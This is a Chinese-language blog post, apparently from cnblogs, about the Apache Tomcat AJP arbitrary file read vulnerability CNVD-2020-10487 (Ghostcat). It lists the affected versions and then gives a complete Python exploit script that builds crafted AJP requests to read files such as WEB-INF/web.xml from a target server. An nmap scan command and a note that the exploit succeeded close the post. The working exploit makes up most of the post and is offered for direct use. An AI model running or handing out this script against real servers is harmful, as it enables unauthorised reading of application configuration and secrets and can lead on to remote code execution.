漏洞描述:
Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。
Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。
受影响版本:
lTomcat 6 (已不受维护)
lTomcat 7 Version < 7.0.100
lTomcat 8 Version < 8.5.51
lTomcat 9 Version < 9.0.31
执行poc or exp :
1 #!/usr/bin/env python 2 # CNVD-2020-10487 Tomcat-Ajp lfi 3 # by ydhcui 4 import struct 5 from io import StringIO 6 7 8 # Some references: 9 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 10 def pack_string(s): 11 if s is None: 12 return struct.pack(">h", -1) 13 l = len(s) 14 return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) 15 16 17 def unpack(stream, fmt): 18 size = struct.calcsize(fmt) 19 buf = stream.read(size) 20 return struct.unpack(fmt, buf) 21 22 23 def unpack_string(stream): 24 size, = unpack(stream, ">h") 25 if size == -1: # null string 26 return None 27 res, = unpack(stream, "%ds" % size) 28 stream.read(1) # \0 29 return res 30 31 32 class NotFoundException(Exception): 33 pass 34 35 36 class AjpBodyRequest(object): 37 # server == web server, container == servlet 38 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 39 MAX_REQUEST_LENGTH = 8186 40 41 def __init__(self, data_stream, data_len, data_direction=None): 42 self.data_stream = data_stream 43 self.data_len = data_len 44 self.data_direction = data_direction 45 46 def serialize(self): 47 data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 48 if len(data) == 0: 49 return struct.pack(">bbH", 0x12, 0x34, 0x00) 50 else: 51 res = struct.pack(">H", len(data)) 52 res += data 53 if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 54 header = struct.pack(">bbH", 0x12, 0x34, len(res)) 55 else: 56 header = struct.pack(">bbH", 0x41, 0x42, len(res)) 57 return header + res 58 59 def send_and_receive(self, socket, stream): 60 while True: 61 data = self.serialize() 62 socket.send(data) 63 r = AjpResponse.receive(stream) 64 while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 65 r = AjpResponse.receive(stream) 66 67 if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 68 break 69 70 71 class AjpForwardRequest(object): 72 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range( 73 28) 74 REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 75 'TRACE': TRACE} 76 # server == web server, container == servlet 77 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 78 COMMON_HEADERS = ["SC_REQ_ACCEPT", 79 "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", 80 "SC_REQ_AUTHORIZATION", 81 "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", 82 "SC_REQ_COOKIE2", 83 "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 84 ] 85 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", 86 "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 87 88 def __init__(self, data_direction=None): 89 self.headers = None 90 self.prefix_code = 0x02 91 self.method = None 92 self.protocol = None 93 self.req_uri = None 94 self.remote_addr = None 95 self.remote_host = None 96 self.server_name = None 97 self.server_port = None 98 self.is_ssl = None 99 self.num_headers = None 100 self.request_headers = None 101 self.attributes = None 102 self.data_direction = data_direction 103 104 def pack_headers(self): 105 self.num_headers = len(self.request_headers) 106 res = "" 107 res = struct.pack(">h", self.num_headers) 108 for h_name in self.request_headers: 109 if h_name.startswith("SC_REQ"): 110 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 111 res += struct.pack("BB", 0xA0, code) 112 else: 113 res += pack_string(h_name) 114 115 res += pack_string(self.request_headers[h_name]) 116 return res 117 118 def pack_attributes(self): 119 res = b"" 120 for attr in self.attributes: 121 a_name = attr['name'] 122 code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 123 res += struct.pack("b", code) 124 if a_name == "req_attribute": 125 aa_name, a_value = attr['value'] 126 res += pack_string(aa_name) 127 res += pack_string(a_value) 128 else: 129 res += pack_string(attr['value']) 130 res += struct.pack("B", 0xFF) 131 return res 132 133 def serialize(self): 134 res = "" 135 res = struct.pack("bb", self.prefix_code, self.method) 136 res += pack_string(self.protocol) 137 res += pack_string(self.req_uri) 138 res += pack_string(self.remote_addr) 139 res += pack_string(self.remote_host) 140 res += pack_string(self.server_name) 141 res += struct.pack(">h", self.server_port) 142 res += struct.pack("?", self.is_ssl) 143 res += self.pack_headers() 144 res += self.pack_attributes() 145 if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 146 header = struct.pack(">bbh", 0x12, 0x34, len(res)) 147 else: 148 header = struct.pack(">bbh", 0x41, 0x42, len(res)) 149 return header + res 150 151 def parse(self, raw_packet): 152 stream = StringIO(raw_packet) 153 self.magic1, self.magic2, data_len = unpack(stream, "bbH") 154 self.prefix_code, self.method = unpack(stream, "bb") 155 self.protocol = unpack_string(stream) 156 self.req_uri = unpack_string(stream) 157 self.remote_addr = unpack_string(stream) 158 self.remote_host = unpack_string(stream) 159 self.server_name = unpack_string(stream) 160 self.server_port = unpack(stream, ">h") 161 self.is_ssl = unpack(stream, "?") 162 self.num_headers, = unpack(stream, ">H") 163 self.request_headers = {} 164 for i in range(self.num_headers): 165 code, = unpack(stream, ">H") 166 if code > 0xA000: 167 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 168 else: 169 h_name = unpack(stream, "%ds" % code) 170 stream.read(1) # \0 171 h_value = unpack_string(stream) 172 self.request_headers[h_name] = h_value 173 174 def send_and_receive(self, socket, stream, save_cookies=False): 175 res = [] 176 i = socket.sendall(self.serialize()) 177 if self.method == AjpForwardRequest.POST: 178 return res 179 180 r = AjpResponse.receive(stream) 181 assert r.prefix_code == AjpResponse.SEND_HEADERS 182 res.append(r) 183 if save_cookies and 'Set-Cookie' in r.response_headers: 184 self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] 185 186 # read body chunks and end response packets 187 while True: 188 r = AjpResponse.receive(stream) 189 res.append(r) 190 if r.prefix_code == AjpResponse.END_RESPONSE: 191 break 192 elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 193 continue 194 else: 195 raise NotImplementedError 196 break 197 198 return res 199 200 201 class AjpResponse(object): 202 _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 203 COMMON_SEND_HEADERS = [ 204 "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 205 "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 206 ] 207 208 def parse(self, stream): 209 # read headers 210 self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 211 212 if self.prefix_code == AjpResponse.SEND_HEADERS: 213 self.parse_send_headers(stream) 214 elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 215 self.parse_send_body_chunk(stream) 216 elif self.prefix_code == AjpResponse.END_RESPONSE: 217 self.parse_end_response(stream) 218 elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 219 self.parse_get_body_chunk(stream) 220 else: 221 raise NotImplementedError 222 223 def parse_send_headers(self, stream): 224 self.http_status_code, = unpack(stream, ">H") 225 self.http_status_msg = unpack_string(stream) 226 self.num_headers, = unpack(stream, ">H") 227 self.response_headers = {} 228 for i in range(self.num_headers): 229 code, = unpack(stream, ">H") 230 if code <= 0xA000: # custom header 231 h_name, = unpack(stream, "%ds" % code) 232 stream.read(1) # \0 233 h_value = unpack_string(stream) 234 else: 235 h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001] 236 h_value = unpack_string(stream) 237 self.response_headers[h_name] = h_value 238 239 def parse_send_body_chunk(self, stream): 240 self.data_length, = unpack(stream, ">H") 241 self.data = stream.read(self.data_length + 1) 242 243 def parse_end_response(self, stream): 244 self.reuse, = unpack(stream, "b") 245 246 def parse_get_body_chunk(self, stream): 247 rlen, = unpack(stream, ">H") 248 return rlen 249 250 @staticmethod 251 def receive(stream): 252 r = AjpResponse() 253 r.parse(stream) 254 return r 255 256 257 import socket 258 259 260 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 261 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 262 fr.method = method 263 fr.protocol = "HTTP/1.1" 264 fr.req_uri = req_uri 265 fr.remote_addr = target_host 266 fr.remote_host = None 267 fr.server_name = target_host 268 fr.server_port = 80 269 fr.request_headers = { 270 'SC_REQ_ACCEPT': 'text/html', 271 'SC_REQ_CONNECTION': 'keep-alive', 272 'SC_REQ_CONTENT_LENGTH': '0', 273 'SC_REQ_HOST': target_host, 274 'SC_REQ_USER_AGENT': 'Mozilla', 275 'Accept-Encoding': 'gzip, deflate, sdch', 276 'Accept-Language': 'en-US,en;q=0.5', 277 'Upgrade-Insecure-Requests': '1', 278 'Cache-Control': 'max-age=0' 279 } 280 fr.is_ssl = False 281 fr.attributes = [] 282 return fr 283 284 285 class Tomcat(object): 286 def __init__(self, target_host, target_port): 287 self.target_host = target_host 288 self.target_port = target_port 289 290 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 291 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 292 self.socket.connect((target_host, target_port)) 293 self.stream = self.socket.makefile("rb") 294 295 def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): 296 self.req_uri = req_uri 297 self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, 298 method=AjpForwardRequest.REQUEST_METHODS.get(method)) 299 print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 300 if user is not None and password is not None: 301 self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ( 302 "%s:%s" % (user, password)).encode('base64').replace('\n', '') 303 for h in headers: 304 self.forward_request.request_headers[h] = headers[h] 305 for a in attributes: 306 self.forward_request.attributes.append(a) 307 responses = self.forward_request.send_and_receive(self.socket, self.stream) 308 if len(responses) == 0: 309 return None, None 310 snd_hdrs_res = responses[0] 311 data_res = responses[1:-1] 312 if len(data_res) == 0: 313 print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) 314 return snd_hdrs_res, data_res 315 316 317 ''' 318 javax.servlet.include.request_uri 319 javax.servlet.include.path_info 320 javax.servlet.include.servlet_path 321 ''' 322 323 import argparse 324 325 parser = argparse.ArgumentParser() 326 parser.add_argument("target", type=str, help="Hostname or IP to attack") 327 parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") 328 parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") 329 args = parser.parse_args() 330 t = Tomcat(args.target, args.port) 331 _, data = t.perform_request('/asdf', attributes=[ 332 {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, 333 {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]}, 334 {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, 335 ]) 336 print('----------------------------') 337 # print("".join([d.data.decode('utf_8') for d in data])) 338 print("".join([d.data.decode('gbk') for d in data])) 339 # print(''.join(data))
nmap命令nmap -sV -p 8080 --script ssl-enum-ciphers xx.xx.xx.xx
执行poc脚本,成功获取到ROOT下的文件内容
标签:Tomcat,stream,res,self,headers,2020,1938,data,pack From: https://www.cnblogs.com/worldbugMsg/p/16791384.html